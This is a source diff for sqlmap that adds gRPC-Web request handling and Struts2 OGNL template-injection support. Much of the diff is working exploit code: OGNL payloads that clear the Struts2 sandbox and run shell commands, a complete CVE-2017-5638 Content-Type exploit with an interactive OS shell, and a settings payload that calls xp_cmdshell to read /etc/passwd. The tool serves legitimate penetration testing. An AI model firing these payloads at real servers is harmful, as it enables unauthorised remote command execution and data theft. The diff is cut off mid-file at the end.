diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 527a52e3f1e..f7c9d5e31e1 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -166,9 +166,11 @@ def checkSqlInjection(place, parameter, value): # keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads # and is skipped when the WAF/IPS is dropping requests; the operator-dialect # probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in - # that case (or when it was inconclusive), using the now-calibrated boolean oracle - if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None: - kb.heuristicDbms = dialectCheckDbms(injection) + # that case (or when it was inconclusive), using the now-calibrated boolean oracle. + # It feeds the lower-confidence heuristicExtendedDbms (UNION FROM / handler hint), + # deliberately NOT heuristicDbms, so it never drives reduceTests (skipping payloads) + if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and kb.heuristicExtendedDbms is None: + kb.heuristicExtendedDbms = dialectCheckDbms(injection) # If the DBMS has already been fingerprinted (via DBMS-specific # error message, simple heuristic check or via DBMS-specific @@ -730,7 +732,8 @@ def genCmpPayload(): if len(kb.dbmsFilter or []) == 1: Backend.forceDbms(kb.dbmsFilter[0]) elif not Backend.getIdentifiedDbms(): - if kb.heuristicDbms is None: + heuristicDbms = kb.heuristicDbms or kb.heuristicExtendedDbms + if heuristicDbms is None: if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data: warnMsg = "using unescaped version of the test " warnMsg += "because of zero knowledge of the " @@ -738,7 +741,7 @@ def genCmpPayload(): warnMsg += "explicitly set it with option '--dbms'" singleTimeWarnMessage(warnMsg) else: - Backend.forceDbms(kb.heuristicDbms) + Backend.forceDbms(heuristicDbms) if unionExtended: infoMsg = "automatically extending ranges for UNION " diff --git a/lib/core/agent.py b/lib/core/agent.py index 520fc99146d..c7aea8824d7 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -133,7 +133,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N origValue = origValue.split(kb.customInjectionMark)[0] if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = re.split(r"['\">]", origValue)[-1] - elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): match = re.search(r"['\"]", origValue) quote = match.group(0) if match else '"' origValue = extractRegexResult(r"%s\s*:\s*(?P\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P[^%s]*)\Z" % quote, origValue) @@ -206,7 +206,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): _ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark) - if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: + if kb.postHint in (POST_HINT.JSON, POST_HINT.GRPC_WEB) and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: newValue = '"%s"' % self.addPayloadDelimiters(newValue) elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None: newValue = "'%s'" % self.addPayloadDelimiters(newValue) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 2387a477270..d2a28a94a9f 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -294,13 +294,15 @@ DBMS.ACCESS: "CVAR(NULL)", DBMS.MAXDB: "ALPHA(NULL)", DBMS.MSSQL: "PARSENAME(NULL,NULL)", + DBMS.SYBASE: "STR_REPLACE(NULL,'x','x')", # ASE extension (MSSQL has REPLACE); doc-derived, not live-tested. Also SAP IQ / SQL Anywhere (not in DBMS) DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0 DBMS.ORACLE: "INSTR2(NULL,NULL)", DBMS.PGSQL: "QUOTE_IDENT(NULL)", DBMS.SQLITE: "JULIANDAY(NULL)", DBMS.H2: "STRINGTOUTF8(NULL)", DBMS.MONETDB: "CODE(NULL)", - DBMS.DERBY: "NULLIF(USER,SESSION_USER)", + DBMS.DERBY: "NULLIF(USER,SESSION_USER)", # not Derby-specific; safe only because DB2 (shares this dummy) is tested first + DBMS.DB2: "MULTIPLY_ALT(NULL,NULL)", # DB2-unique (Derby shares the dummy, not this function) DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)", DBMS.MCKOI: "TONUMBER(NULL)", DBMS.PRESTO: "FROM_HEX(NULL)", @@ -314,7 +316,7 @@ DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", DBMS.CLICKHOUSE: "halfMD5(NULL)", DBMS.SNOWFLAKE: "BOOLNOT(NULL)", - DBMS.SPANNER: "FARM_FINGERPRINT(NULL)", + DBMS.SPANNER: "FARM_FINGERPRINT(NULL)", # also BigQuery GoogleSQL (not in DBMS) DBMS.HANA: "MAP(NULL,NULL,NULL,NULL,NULL)", } @@ -383,6 +385,7 @@ POST_HINT_CONTENT_TYPES = { POST_HINT.JSON: "application/json", POST_HINT.JSON_LIKE: "application/json", + POST_HINT.GRPC_WEB: "application/grpc-web-text", POST_HINT.MULTIPART: "multipart/form-data", POST_HINT.SOAP: "application/soap+xml", POST_HINT.XML: "application/xml", diff --git a/lib/core/enums.py b/lib/core/enums.py index e74f9299749..da201af2343 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -146,6 +146,7 @@ class POST_HINT(object): MULTIPART = "MULTIPART" XML = "XML (generic)" ARRAY_LIKE = "Array-like" + GRPC_WEB = "gRPC-Web" class HTTPMETHOD(object): GET = "GET" diff --git a/lib/core/option.py b/lib/core/option.py index c808d2b7b71..a6436693278 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2295,6 +2295,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.permissionFlag = False kb.place = None kb.postHint = None + kb.grpcWeb = None kb.postSpaceToPlus = False kb.postUrlEncode = True kb.prependFlag = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 66afa859a62..a4049fd9bbd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.110" +VERSION = "1.10.7.117" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -46,7 +46,6 @@ # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 -CONSTANT_RATIO = 0.9 # Ratio used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_RATIO = 0.5 @@ -339,7 +338,7 @@ ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2", "MSysNavPaneGroupCategories", "MSysNavPaneGroups", "MSysNavPaneGroupToObjects", "MSysNavPaneObjectIDs") -FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") +FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", "RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST") @@ -795,15 +794,6 @@ # Payload used for checking of existence of WAF/IPS (dummier the better) IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" -# Vectors used for provoking specific WAF/IPS behavior(s) -WAF_ATTACK_VECTORS = ( - "", # NIL - "search=", - "file=../../../../etc/passwd", - "q=foobar", - "id=1 %s" % IPS_WAF_CHECK_PAYLOAD -) - # Used for status representation in dictionary attack phase ROTATING_CHARS = ('\\', '|', '|', '/', '-') @@ -892,7 +882,7 @@ HASH_ATTACK_TIME_LIMIT = 300 # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values -HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" +HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash|secret|digest" # Regular expression matching (declared) binary column types, used to auto-hex their values during dumping # so raw bytes (e.g. password hashes stored in binary form) are not silently truncated at NUL / mangled by @@ -1121,6 +1111,7 @@ ("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException"), ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"), ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"), + ("Struts2 (OGNL)", r"ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|org\.apache\.struts2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)"), ("ERB", r"\(erb\):\d+|NameError.*undefined local variable"), ("Pug/Jade", r"pug|jade|ParseError"), ("Handlebars", r"handlebars|Handlebars|Parse error on line"), @@ -1341,7 +1332,7 @@ MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' @@ -1379,9 +1370,6 @@ # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" -# Minimum supported version of httpx library (for --http2) -MIN_HTTPX_VERSION = "0.28" - # Regular expression for XML POST data XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" diff --git a/lib/core/target.py b/lib/core/target.py index dd1fd34ae35..2586f7563ad 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -77,6 +77,8 @@ from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import XML_RECOGNITION_REGEX from lib.core.threads import getCurrentThreadData +from lib.utils.grpcweb import CONTENT_TYPE as grpcWebContentType +from lib.utils.grpcweb import decodeBody as grpcDecodeBody from lib.utils.hashdb import HashDB from thirdparty import six from collections import OrderedDict @@ -112,6 +114,16 @@ def _setRequestParams(): if conf.data is not None: conf.method = conf.method or HTTPMETHOD.POST + # probe (side-effect-free) whether this is a gRPC-Web body; if so, expose its string fields as a + # JSON view so the standard JSON injection path can process it. The skeleton is committed to + # kb.grpcWeb (and the JSON view kept) ONLY on user acceptance below; if declined, the original + # body is restored so it is sent verbatim (never the JSON surrogate) + kb.grpcWeb = None + _grpcOriginalData = conf.data + _grpcView, _grpcSkeleton = grpcDecodeBody(conf.data) + if _grpcView is not None: + conf.data = _grpcView + def process(match, repl): retVal = match.group(0) @@ -145,14 +157,26 @@ def process(match, repl): kb.testOnlyCustom = True if re.search(JSON_RECOGNITION_REGEX, conf.data): - message = "JSON data found in %s body. " % conf.method - message += "Do you want to process it? [Y/n/q] " + if _grpcSkeleton: + message = "gRPC-Web text data found in %s body. Do you want to process its detected string fields? [Y/n/q] " % conf.method + else: + message = "JSON data found in %s body. Do you want to process it? [Y/n/q] " % conf.method choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': - kb.postHint = POST_HINT.JSON + kb.postHint = POST_HINT.GRPC_WEB if _grpcSkeleton else POST_HINT.JSON + if _grpcSkeleton: + kb.grpcWeb = _grpcSkeleton # commit only on acceptance + # force a grpc-web-text response (the only kind this cut decodes) by REPLACING any + # existing Accept - a captured 'Accept: */*', or an explicit 'q=0' we cannot honor + for _index, (_header, _value) in enumerate(conf.httpHeaders or []): + if _header.lower() == HTTP_HEADER.ACCEPT.lower(): + conf.httpHeaders[_index] = (_header, grpcWebContentType) + break + else: + conf.httpHeaders.append((HTTP_HEADER.ACCEPT, grpcWebContentType)) if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) @@ -245,6 +269,11 @@ def _attr(m): conf.data = re.sub(r"(?si)(Content-Disposition:[^\n]+\s+name=\"(?P[^\"]+)\"(?:[^f|^b]|f(?!ilename=)|b(?!oundary=))*?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<3>" % kb.customInjectionMark), conf.data) + # a gRPC-Web body that was NOT accepted as GRPC_WEB (declined prompt) must be sent verbatim, + # not as the JSON surrogate that was temporarily swapped into conf.data for detection + if _grpcSkeleton is not None and kb.postHint != POST_HINT.GRPC_WEB: + conf.data = _grpcOriginalData + if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed pass diff --git a/lib/request/connect.py b/lib/request/connect.py index 77f9f25a74f..b39e456ec91 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -134,6 +134,8 @@ from lib.request.comparison import comparison from lib.request.direct import direct from lib.request.methodrequest import MethodRequest +from lib.utils.grpcweb import decodeResponse as grpcDecodeResponse +from lib.utils.grpcweb import encodeBody as grpcEncodeBody from lib.utils.safe2bin import safecharencode from lib.utils.sqllint import checkSanity from thirdparty import six @@ -569,6 +571,10 @@ class _(dict): logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) else: + # re-encode a gRPC-Web body from its injected JSON view, fixing length prefixes + if kb.postHint == POST_HINT.GRPC_WEB and post is not None: + post = grpcEncodeBody(post) + post = getBytes(post) # Reference: https://github.com/sqlmapproject/sqlmap/issues/6049 @@ -996,6 +1002,12 @@ class _(dict): singleTimeLogMessage(errMsg, logging.CRITICAL) raise SystemExit + # decode a gRPC-Web response to readable text so the oracle/error/inband paths see the + # message fields + trailer (grpc-message) instead of an opaque base64 blob. Headers are + # passed so a trailers-only error (empty body, grpc-status/message in headers) is still surfaced + if kb.postHint == POST_HINT.GRPC_WEB: + page = grpcDecodeResponse(page, responseHeaders) + threadData.lastPage = page threadData.lastCode = code @@ -1149,7 +1161,7 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent payload = payload.replace("&#", SAFE_HEX_MARKER) payload = payload.replace('&', "&").replace('>', ">").replace('<', "<").replace('"', """).replace("'", "'") # Reference: https://stackoverflow.com/a/1091953 payload = payload.replace(SAFE_HEX_MARKER, "&#") - elif kb.postHint == POST_HINT.JSON: + elif kb.postHint in (POST_HINT.JSON, POST_HINT.GRPC_WEB): payload = escapeJsonValue(payload) elif kb.postHint == POST_HINT.JSON_LIKE: payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') @@ -1391,7 +1403,7 @@ def _randomizeParameter(paramString, randomParameter): value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus)) variables[name] = value - if post and kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + if post and kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): json_ = parseJson(post) for name, value in (json_ if isinstance(json_, dict) else {}).items(): if safeVariableNaming(name) != name: @@ -1485,7 +1497,7 @@ def _randomizeParameter(paramString, randomParameter): found = True post = re.sub(r"(?s)(\b%s>)(.*?)()" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) - elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): match = re.search(r"['\"]%s['\"]:" % re.escape(name), post) if match: quote = match.group(0)[0] @@ -1521,7 +1533,7 @@ def _randomizeParameter(paramString, randomParameter): if not found: if post is not None: - if kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + if kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): match = re.search(r"['\"]", post) if match: quote = match.group(0) diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index d518ca1b80b..c62cb2af559 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -18,10 +18,12 @@ from lib.core.data import conf from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE from lib.core.settings import SSTI_ERROR_SIGNATURES from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request +from thirdparty.six.moves.urllib.parse import quote as _quote SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST) @@ -164,6 +166,18 @@ def _degroup(text): (("${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('{CMD}').getInputStream())).readLine()}", "SpEL readLine (output)"), ("${T(java.lang.Runtime).getRuntime().exec('{CMD}')}", "T(Runtime).exec (blind)"), ("${(#rt=@java.lang.Runtime@getRuntime()).exec('{CMD}')}", "OGNL @Runtime@getRuntime (blind)"))), + Engine("Struts2 (OGNL)", "java", + "%{", "}", + r"(?i)(?:ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)|InaccessibleObjectException)", + ("%{", "%{}", "%{1/0}"), + "%{%d*%d}", "", + "%{true}", "%{false}", "true", "false", + None, None, # '%{' is unique in the table -> arithmetic proof alone names Struts2 OGNL + "%{%s}", + # Struts2 OGNL: modern chain resets the sandbox (#_memberAccess) then reads the process + # stdout in-band; the legacy @Runtime@ form is a blind fallback for old (pre-sandbox) Struts. + (("%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','{CMD}'})).(#p.redirectErrorStream(true)).(#pr=#p.start()).(#sc=new java.util.Scanner(#pr.getInputStream()).useDelimiter('\\\\A')).(#sc.hasNext()?#sc.next():'')}", "memberAccess reset + ProcessBuilder (output)"), + ("%{(#a=@java.lang.Runtime@getRuntime().exec('{CMD}'))}", "@Runtime@getRuntime (blind, legacy)"))), # -- Ruby --------------------------------------------------------------------------------------------- Engine("ERB", "ruby", "<%=", "%>", @@ -250,7 +264,10 @@ def _send(place, parameter, value): time.sleep(conf.delay) old_params = conf.parameters.get(place, "") - conf.parameters[place] = _replaceSegment(place, parameter, value) + # URL-encode the injected value so payload metacharacters survive on the wire: '%' (OGNL/ERB + # delimiters, e.g. Struts2 '%{...}'), '#' (OGNL context vars / fragment delimiter), and '&'/'='/ + # space would otherwise be mangled or split by the server before the template ever sees them. + conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="")) try: kwargs = {"raise404": False, "silent": True} @@ -587,6 +604,26 @@ def sstiScan(): debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" logger.debug(debugMsg) + # CVE-2017-5638 (S2-045): OGNL via the Content-Type header - a distinct, non-reflected Struts2 + # vector that needs no request parameter, so it is probed once up front. + if _probeStruts2Header(conf.url): + logger.info("%s header is vulnerable to SSTI (back-end: 'Struts2 (OGNL)', CVE-2017-5638)" % HTTP_HEADER.CONTENT_TYPE) + if conf.beep: + beep() + report = ("---\nParameter: %s ((custom) HEADER)\n Type: SSTI\n" + " Title: Struts2 OGNL injection via Content-Type header (CVE-2017-5638)\n" + " Payload: %s: %%{(#_memberAccess=...).(...)}\n---" % (HTTP_HEADER.CONTENT_TYPE, HTTP_HEADER.CONTENT_TYPE)) + conf.dumper.singleString(report) + if not any(conf.get(_) for _ in ("osCmd", "osShell")): + logger.info("the back-end 'Struts2 (OGNL)' allows OS command execution via this injection; " + "you are advised to try '--os-shell' (interactive) or '--os-cmd=' (single command)") + if conf.get("osCmd"): + _dumpS2045(conf.url, conf.osCmd) + if conf.get("osShell"): + _osShell(lambda cmd: _dumpS2045(conf.url, cmd)) + logger.info("SSTI scan complete") + return + if not conf.paramDict: logger.error("no request parameters to test (use --data, GET params, or similar)") return @@ -641,7 +678,6 @@ def sstiScan(): if found: slot = found[0] place, parameter, engine, evidence = slot - from lib.core.common import readInput wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell")) @@ -664,12 +700,7 @@ def sstiScan(): # Interactive shell runs even under --batch (mirrors the SQL --os-shell, which # reads commands straight from the terminal); EOF / 'exit' / 'quit' leaves it. if conf.get("osShell"): - logger.info("calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave") - while True: - cmd = readInput("os-shell> ", checkBatch=False) - if not cmd or cmd.strip().lower() in ("exit", "quit"): - break - _executeCommand(place, parameter, engine, cmd.strip()) + _osShell(lambda cmd: _executeCommand(place, parameter, engine, cmd)) logger.info("SSTI scan complete") @@ -701,6 +732,10 @@ def _canTakeover(engine, evidence): "${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}", "${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}", ), + "Struts2 (OGNL)": ( + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','{CMD} > {OUTFILE} 2>&1'})).(#p.start())}", + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.lang.String(@java.nio.file.Files@readAllBytes(new java.io.File('{OUTFILE}').toPath())))}", + ), } @@ -732,6 +767,12 @@ def _commandOutput(page, baseline, original, payload, engine): if output and output in payload: return None + # A bare Process-object toString ("Process[pid=..]" on JDK9+, "java.lang.UNIXProcess@.."/"ProcessImpl@.." + # on JDK8) means the command RAN but its stdout was never captured (a blind exec) - not real output, + # so reject it and let the caller fall through to the file-based capture (_FILE_RCE). + if output and re.search(r"Process\[pid=|(?:UNIXProcess|ProcessImpl|Process)@[0-9a-f]", output): + return None + if output and _ratio(output, baseText) < UPPER_RATIO_BOUND: if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output): return output @@ -808,3 +849,78 @@ def _executeCommand(place, parameter, engine, cmd): return logger.warning("no output received for OS command '%s'" % cmd) + + +def _osShell(execFn): + """Shared interactive OS-shell loop (runs under --batch like the SQL one). execFn(cmd) runs and + reports a single command. EOF / 'exit' / 'quit' leaves.""" + from lib.core.common import readInput + logger.info("calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave") + while True: + cmd = readInput("os-shell> ", checkBatch=False) + if not cmd or cmd.strip().lower() in ("exit", "quit"): + break + execFn(cmd.strip()) + + +# CVE-2017-5638 (S2-045): OGNL injection via the Content-Type header of a Jakarta-multipart Struts2 +# action - a distinct vector from the parameter one: the Content-Type is NOT reflected, so the payload +# writes its result straight to the HTTP response. The prefix resets OGNL member access and clears the +# excluded classes/packages (the modern-Struts2 sandbox); {ACTION} prints a marker (detection) or runs +# a command and copies its stdout to the response (exploitation). +_S2045_TEMPLATE = ("%{(#nike='multipart/form-data')." + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + "(#_memberAccess?(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + "(#ognlUtil.getExcludedPackageNames().clear())." + "(#ognlUtil.getExcludedClasses().clear())." + "(#context.setMemberAccess(#dm))))." + "(#resp=@org.apache.struts2.ServletActionContext@getResponse())." + "{ACTION}}") + + +def _s2045Send(url, action): + """Send one request carrying the S2-045 Content-Type payload ({ACTION} substituted in).""" + payload = _S2045_TEMPLATE.replace("{ACTION}", action) + try: + page, _, _ = Request.getPage(url=url, auxHeaders={HTTP_HEADER.CONTENT_TYPE: payload}, + raise404=False, silent=True) + return getUnicode(page or "") + except Exception as ex: + logger.debug("S2-045 Content-Type probe failed: %s" % getUnicode(ex)) + return "" + + +def _probeStruts2Header(url): + """Detect CVE-2017-5638 benignly: print a random marker to the response via OGNL (no command + execution) and confirm it echoes back. Returns the marker on success, else None.""" + marker = randomStr(length=16, lowercase=True) + action = "(#w=#resp.getWriter()).(#w.print('%s')).(#w.flush())" % marker + page = _s2045Send(url, action) + return marker if (page and marker in page) else None + + +def _executeStruts2Header(url, cmd): + """Run an OS command through the S2-045 Content-Type vector and return its stdout. The output is + bracketed by random markers (echoed by the shell) so it slices cleanly out of a response that also + carries the action's own HTML.""" + start, end = randomStr(length=10, lowercase=True), randomStr(length=10, lowercase=True) + wrapped = "echo %s; %s 2>&1; echo %s" % (start, cmd, end) + action = ("(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','%s'}))." + "(#p.redirectErrorStream(true)).(#pr=#p.start())." + "(@org.apache.commons.io.IOUtils@copy(#pr.getInputStream(),#resp.getOutputStream()))." + "(#resp.getOutputStream().flush())") % _escapeSingleQuoted(wrapped) + page = _s2045Send(url, action) + if start in page and end in page: + return page.split(start, 1)[-1].split(end, 1)[0].strip("\r\n") + return None + + +def _dumpS2045(url, cmd): + """Run one command via the S2-045 vector and report its output (or a no-output warning).""" + output = _executeStruts2Header(url, cmd) + if output is not None: + conf.dumper.singleString("\nos-shell (%s) [S2-045 Content-Type]:\n%s" % (cmd, output)) + else: + logger.warning("no output received for OS command '%s'" % cmd) diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py index 47f973edcb1..b76fcf058f2 100644 --- a/lib/utils/dialect.py +++ b/lib/utils/dialect.py @@ -12,109 +12,126 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.settings import SINGLE_QUOTE_MARKER from lib.request.inject import checkBooleanExpression -# Operator-dialect probes for a 